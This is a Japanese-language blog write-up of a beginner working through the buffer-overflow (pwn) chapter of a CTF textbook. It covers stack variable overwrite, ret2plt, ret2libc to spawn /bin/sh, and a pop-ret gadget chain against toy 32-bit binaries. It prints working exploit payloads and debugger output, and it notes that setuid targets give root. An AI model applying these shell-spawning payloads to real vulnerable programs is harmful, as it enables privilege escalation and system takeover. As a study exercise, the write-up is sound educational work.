ハリネズミ本 PWN (BOF)
CTF初心者です。ハリネズミの2章 PWNをなぞりました。
セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: Kindle版
- この商品を含むブログを見る
まず様々なツールが整備されていることに感動。peda, checksec, pwntools, etc...。この手のツールを知ってる知らないでは差がつくのは確実だなあ。本書ではELFのみ扱ってるけどPEも同様に対策必要だろうし...まだスタートラインにも居ないと確信(;^ω^)
Reversingの事前知識はあったので問題自体は易しめに感じました。
では書いてあった内容を記憶を元に書き殴っておきます。
BOFでスタックの変数の書き換え
seq, hundred共に0で初期化されているが,これをそれぞれ0x12345678,100に変更する標準入力を考える。
// ビルド: gcc bof1.c -m32 -o bof1 -fno-stack-protector #include <stdio.h> int main(int argc, char *argv[]) { int hundred = 0; int seq = 0; char buffer[10]; printf("buffer address\t= %x\n", (int)buffer); printf("seq address\t= %x\n", (int)&seq); printf("hundred address\t= %x\n", (int)&hundred); fgets(buffer, 64, stdin); printf("seq = 0x%x\n", seq); printf("hundred = %d\n", hundred); if(seq == 0x12345678) { printf("seq OK"); } if(hundred == 100) { printf("hundered OK"); } return 0; }
題意を満たす標準入力はecho -e 'AAAAAAAAAA\x78\x56\x34\x12\x64\x0\x0\x0' | ./bof1
だ(Aは任意の文字)。
Return to PLT(ret2plt)
BOFでリターンアドレス(関数の戻り先の命令のアドレス)を改ざんし,共有ライブラリの関数にPLT経由で飛ばす攻撃。
main関数の戻り先にprintf関数を指定し,bufferの内容を表示する処理を考える。
// ビルド: gcc bof3.c -m32 -o bof3 -no-ssp -fno-stack-protector #include <stdio.h> #include <string.h> char buffer[32]; int main(int argc, char *argv[]) { char local[32]; printf("buffer: 0x%x\n", &buffer); fgets(local, 128, stdin); strcpy(buffer, local); return 0; }
まず前提知識を説明する。関数呼び出し時,内部動作としてスタックに「①引数,②リターンアドレス,③呼び出す関数のアドレス」を順に積む。今回はprintf関数を呼び出すことが目標であるから,EIPのアドレスをprintf関数のものに書き換えるだけではなく,スタックの情報を模擬する必要がある。
EIPの奪取
標準入力でリターンアドレスを上書きできるかを確認する。これには標準入力に適当な長い文字列を入力すれば良い。もしリターンアドレスが上書きできれば,EIPが予期しない領域を指しSIGSEGVで落ちる。
試しに(AA...A)を入力すると,SIGSEGVが起きEIPの値がAAAAに変化した。即ち,標準入力でリターンアドレスを上書きできることが確認できた。
次に長い(AA...A)の文字列の中のどこがEIP(リターンアドレス)に書き換わるかを確認するために,pedaのパターン文字列を利用する。
peda上でpattern_create 50
を実行しAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
を得た。これをプログラムに入力する。
gdb-peda$ r Starting program: /home/enuf/ctf/pwn/book/bof3 buffer: 0x804a060 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
するとSIGSEGVで落ち,EIPの値を確認して0x41414641 (b'AFAA')
だと分かる。
AFAAが何番目の文字列であるは目で数えても良いが,以下のgdb-peda
コマンドを使う。
gdb-peda$ patto AFAA
AFAA found at offset: 44
offsetが44であるから,AFAAは45番目から現れる文字列である。従ってAを44回連続し,その後に攻撃対象の関数,すなわちprintf関数のアドレスに書き換えれば良いことが分かった。
PLT上のprintf関数のアドレスの取得
printfのplt上のアドレスはobjdumpコマンドで知ることができる。
# -d: disassembleを表示, -M: dissassembleのオプション, -j: セクション, --no-show-raw-insn: バイトコードを非表示 enuf@ubuntu:~/ctf/pwn/book$ objdump -d -M intel -j .plt --no bof3 bof3: file format elf32-i386 Disassembly of section .plt: 08048340 <printf@plt-0x10>: 8048340: push DWORD PTR ds:0x804a004 8048346: jmp DWORD PTR ds:0x804a008 804834c: add BYTE PTR [eax],al ... 08048350 <printf@plt>: 8048350: jmp DWORD PTR ds:0x804a00c 8048356: push 0x0 804835b: jmp 8048340 <_init+0x28> (後略)
以上により0x08048350を呼び出せば良いことが分かる。
リターンアドレスの書き換え
求める標準入力は「⓪: 引数の位置まで移動 (Aを44文字),① printf関数の引数のアドレス(&buffer),② リターンアドレス(本題ではないので適当にBBBBを挿入),③ PLT上のprintf関数のアドレス(0x08048350)」である。
enuf@ubuntu:~/ctf/pwn/book$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08' | ./bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`� Segmentation fault (core dumped)
Return to Libc(ret2libc)
BOFでリターンアドレスを改ざんし,共有ライブラリ(特に標準Cライブラリ)の関数に飛ばす攻撃。
前回の標準入力を変えて,libcのsystem関数経由でbashを呼び出すことを考える。
ret2pltと基本的な仕組みは同じ。少し異なるのは,ASLRが有効の場合,共有ライブラリがリンクされるアドレスが起動毎に異なること。先述の通り今回はASLRを無効にして考えている。
さて,やることはリターンアドレスをsystem関数のものに書き換えて,引数で/bin/sh\x00
を渡すことである。前者については,ret2pltと同様に行う。後者については,標準入力の先頭を/bin/sh\x00
としておけば,strcpyでlocalからbufferにコピーされる。/bin/sh\x00
は8文字だから,その分Aを36文字に調整する。
今system関数のアドレスは0xf7e54e70である。
以上で標準入力に必要な情報が得られた。実行結果を次に示す。
enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3 buffer: 0x804a060 ls = bof3.c bof3 exit Segmentation fault (core dumped)
成功。このようにEIPを奪えてかつW/X可能な領域があれば,そのユーザの権限を奪えることになる。なお攻撃対象のプログラムがsetuidを持つ場合にはroot権限を奪うこともできる。
popret gadget
コード領域のPOP-RETを利用する攻撃。
system関数の後にexit関数を呼び出すことで,正常終了することを考える。
rp++
を使ってgadgetを探す。
enuf@ubuntu:~/ctf/pwn/book$ rp -f bof3 -r 1 | grep pop 0x0804855f: pop ebp ; ret ; (1 found) 0x08048339: pop ebx ; ret ; (1 found) 0x08048586: pop ebx ; ret ; (1 found)
次に関数呼び出しのためのスタックを構成する。スタックはFIFOだから,exit関数, system関数の順に考える。
- exit関数の引数: 0
- exit関数のリターンアドレス: BBBB (ダミー)
- exit関数のアドレス: 0xf7e47f50
- system関数の引数のアドレス: 0x0804a060 (&buffer)
- system関数のリターンアドレス: &0x0804855f (popretのアドレスを1つ選ぶ)
- system関数のアドレス: 0xf7e54e70
以上で標準入力に必要な情報が得られた。実行結果を次に示す。
enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x7f\xe4\xf7BBBB0'; cat) | ./bof3 ls = bof3.c bof3 exit
成功。EXITにより正常終了することができた。